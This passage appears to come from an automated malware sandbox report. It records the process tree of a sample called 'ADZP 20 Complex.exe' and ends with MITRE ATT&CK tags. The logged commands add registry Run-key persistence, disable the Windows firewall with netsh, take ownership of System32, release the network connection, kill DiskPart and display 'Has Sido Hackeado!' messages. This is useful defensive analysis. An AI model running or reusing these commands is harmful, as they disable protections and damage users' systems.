        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8768
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A76E.tmp\BE33.tmp\BE34.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:8996
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:8312
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:4548
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:8424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:7572
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:4808
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:9712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:7996
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:896
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:7440
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:6308
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:8752
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10848
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:11140
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10896
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10156
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:10028
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:10456
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ED0F.tmp\ED1F.tmp\ED20.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:9704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:11408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9692
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:11780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:2652
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:9628
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:1384
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        9⤵
        Gathers network information
        
        PID:8044
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:6204
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:8096
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:9568
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:10504
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:8632
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4CA3.tmp\4CB4.tmp\4CC5.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:11812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:10928
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:6276
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:6632
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:11384
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:6492
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:6872
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:2428
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:1744
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:5460
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\62AC.tmp\84DB.tmp\84DC.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:12476
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:6304
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:1960
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:10432
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:8
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:10776
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:10272
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:9748
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:12792
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:10952
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:6796
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8968
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:9204
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:1092
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:4696
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8000
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\B5B6.tmp\BE14.tmp\BE15.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:9164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:9596
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:6264
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:8928
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:9952
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:8140
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:9284
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:6556
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:9700
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:3404
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:6320
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:5256
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10516
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:11064
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10140
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10144
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:6520
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:10508
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ECFF.tmp\ED1F.tmp\ED20.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:3636
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:10312
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:9816
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:10148
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:3328
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:9816
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:10572
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:11464
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A747.tmp\A748.tmp\A749.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:8824
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9600
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:10952
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:12664
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:11232
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11788
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:11060
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:7900
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:9832
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:9876
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9876 -s 140
        8⤵
        Program crash
        
        PID:12340
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:9800
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:10376
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:12808
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:11316
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6800
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8620
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:3136
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:8560
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:2196
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\D005.tmp\D006.tmp\D007.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:2408
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:9996
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:8408
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:6592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:2244
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:5356
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:6836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:4248
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:8512
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:9088
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:7164
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:5284
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10856
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:11160
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10876
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:892
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:7836
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:5616
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9F7B.tmp\C803.tmp\C804.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:9972
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9140
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:8644
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:11472
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:1616
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11148
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:6512
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:9948
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:1248
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:11580
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A42A.tmp\A42B.tmp\A42C.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:7788
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:2124
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:10796
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:11608
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11660
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:11184
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:2268
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:9368
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:12164
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:6448
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:12060
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:11956
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:12420
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:12896
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:9888
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:10916
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:6028
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:6592
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        
        PID:640
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        
        PID:6172
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:9644
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:9792
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:9944
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:10080
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:10200
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:8160
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:1544
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    - Modifies registry class
    PID:4516
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    - Modifies registry class
    PID:3668
- - C:\Windows\system32\mspaint.exe
    mspaint.exe
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4760
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:6452
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:6492
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:6544
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:6572
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
    3⤵
    PID:6620
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
    3⤵
    PID:6644

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:5836

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5952

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5824

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1768

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:7984

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:7552

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:7568

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8864

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9012

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4904

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:8392

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:5596

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1032 --field-trial-handle=2356,i,13261194862334667799,7441241219475888176,262144 --variations-seed-version /prefetch:8
1⤵
PID:10168

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:4128

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9276

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7352

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10244

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10452

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10640

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10832

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:10360

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:6312

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:872

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7628

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9796

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9676

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:11192

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:9544

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:7040

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12076

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:12456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=fallback-handler --database="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --exception-pointers=97014723821760 --process=260 /prefetch:7 --thread=1408
1⤵
PID:12920

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:13084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 9876 -ip 9876
1⤵
PID:7048

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:12388

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:1408

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:13004

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:4972

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:5588

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:1536

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:10232

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:7680

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:5388

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:5212

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:12000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

